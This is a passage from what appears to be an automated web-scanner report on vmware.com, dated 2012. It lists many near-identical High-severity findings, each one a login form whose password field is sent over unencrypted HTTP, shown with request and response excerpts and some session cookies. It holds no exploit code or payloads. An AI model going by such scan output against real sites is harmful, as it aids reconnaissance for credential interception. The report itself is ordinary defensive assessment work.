User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:54 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89087


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.121. http://www.vmware.com/solutions/company-size/enterprise/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/company-size/enterprise/index.html

Request

GET /solutions/company-size/enterprise/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85251


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.122. http://www.vmware.com/solutions/company-size/individuals.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/company-size/individuals.html

Request

GET /solutions/company-size/individuals.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:50:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77096


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.123. http://www.vmware.com/solutions/company-size/smb/myron-steves.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/company-size/smb/myron-steves.html

Request

GET /solutions/company-size/smb/myron-steves.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:50:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80545


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.124. http://www.vmware.com/solutions/datacenter/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/datacenter/

Request

GET /solutions/datacenter/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:22 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84248


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.125. http://www.vmware.com/solutions/datacenter/business-continuity/disaster-recovery.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/datacenter/business-continuity/disaster-recovery.html

Request

GET /solutions/datacenter/business-continuity/disaster-recovery.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 90145


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.126. http://www.vmware.com/solutions/datacenter/cloud-security-compliance/unified-framework.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/datacenter/cloud-security-compliance/unified-framework.html

Request

GET /solutions/datacenter/cloud-security-compliance/unified-framework.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84468


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.127. http://www.vmware.com/solutions/datacenter/disaster-recovery-to-cloud.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/datacenter/disaster-recovery-to-cloud.html

Request

GET /solutions/datacenter/disaster-recovery-to-cloud.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:21 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81986


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.128. http://www.vmware.com/solutions/desktop/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/desktop/

Request

GET /solutions/desktop/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81264


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.129. http://www.vmware.com/solutions/desktop/business-process-desktop/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/desktop/business-process-desktop/overview.html

Request

GET /solutions/desktop/business-process-desktop/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:31 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80873


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.130. http://www.vmware.com/solutions/desktop/mobile-secure-desktop/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/desktop/mobile-secure-desktop/overview.html

Request

GET /solutions/desktop/mobile-secure-desktop/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81944


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.131. http://www.vmware.com/solutions/desktop/remote-branch/remote-branch-office.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/desktop/remote-branch/remote-branch-office.html

Request

GET /solutions/desktop/remote-branch/remote-branch-office.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:35 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80339


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.132. http://www.vmware.com/solutions/executive-resource-center/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/executive-resource-center/

Request

GET /solutions/executive-resource-center/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:36 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79708


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.133. http://www.vmware.com/solutions/industry/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/industry/

Request

GET /solutions/industry/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:53 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79582


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.134. http://www.vmware.com/solutions/industry/financial-services/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/industry/financial-services/overview.html

Request

GET /solutions/industry/financial-services/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:52 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82593


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.135. http://www.vmware.com/solutions/industry/healthcare/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/industry/healthcare/overview.html

Request

GET /solutions/industry/healthcare/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85150


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.136. http://www.vmware.com/solutions/industry/non-profit/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/industry/non-profit/overview.html

Request

GET /solutions/industry/non-profit/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82309


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.137. http://www.vmware.com/solutions/industry/retail/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/industry/retail/overview.html

Request

GET /solutions/industry/retail/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87445


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.138. http://www.vmware.com/solutions/partners/competencies/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/partners/competencies/overview.html

Request

GET /solutions/partners/competencies/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81366


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.139. http://www.vmware.com/solutions/partners/technology-partners.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/partners/technology-partners.html

Request

GET /solutions/partners/technology-partners.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83769


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.140. http://www.vmware.com/solutions/partners/vmware-solution-exchange.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/partners/vmware-solution-exchange.html

Request

GET /solutions/partners/vmware-solution-exchange.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:41 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78733


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.141. http://www.vmware.com/solutions/smb/how-to-buy.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/smb/how-to-buy.html

Request

GET /solutions/smb/how-to-buy.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:56 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86609


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.142. http://www.vmware.com/support/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/

Request

GET /support/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=641D98090E8A4E2B8F7DDB0F79CE72FE; Path=/vmware-runtime
Set-Cookie: TSc99b3e=37dda3c3ed11a994792348825119dc61abb1f043c06b19c14f9f5e11; Path=/
Set-Cookie: TS9938d1=37dda3c3ed11a994792348825119dc61abb1f043c06b19c14f9f5e11; Path=/vmware-runtime
Content-Length: 163796


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.143. http://www.vmware.com/support/contacts/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/contacts/

Request

GET /support/contacts/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:56 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:56 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=F8CF4D3CC9336C352E72C192096173EA; Path=/vmware-runtime
Set-Cookie: TSc99b3e=8ec1d4d4eec7b632129d3812934e9cd3abb1f043c06b19c14f9f5e18; Path=/
Set-Cookie: TS9938d1=8ec1d4d4eec7b632129d3812934e9cd3abb1f043c06b19c14f9f5e18; Path=/vmware-runtime
Content-Length: 78620


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.144. http://www.vmware.com/support/licensing/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/licensing/

Request

GET /support/licensing/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:59 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=3209D419428921BAD9A348F83165170D; Path=/vmware-runtime
Set-Cookie: TSc99b3e=d02afdcd659eca722262b714231ce54fabb1f043c06b19c14f9f5e1a; Path=/
Set-Cookie: TS9938d1=d02afdcd659eca722262b714231ce54fabb1f043c06b19c14f9f5e1a; Path=/vmware-runtime
Content-Length: 88196


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.145. http://www.vmware.com/support/policies/index/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/policies/index/

Request

GET /support/policies/index/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=2DA08DE1B1911BDF0BE41DD88F49255E; Path=/vmware-runtime
Set-Cookie: TSc99b3e=74d90aa881cc6304ca83c8624c7e57adabb1f043c06b19c14f9f5e17; Path=/
Set-Cookie: TS9938d1=74d90aa881cc6304ca83c8624c7e57adabb1f043c06b19c14f9f5e17; Path=/vmware-runtime
Content-Length: 79151


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.146. http://www.vmware.com/support/product-support/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/

Request

GET /support/product-support/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=58FAA6572302D700F5CC42EE65C5CC43; Path=/vmware-runtime
Set-Cookie: TSc99b3e=d12aee5e7fc5f2360ca43dbacd058dcbabb1f043c06b19c14f9f5e12; Path=/
Set-Cookie: TS9938d1=d12aee5e7fc5f2360ca43dbacd058dcbabb1f043c06b19c14f9f5e12; Path=/vmware-runtime
Content-Length: 75890


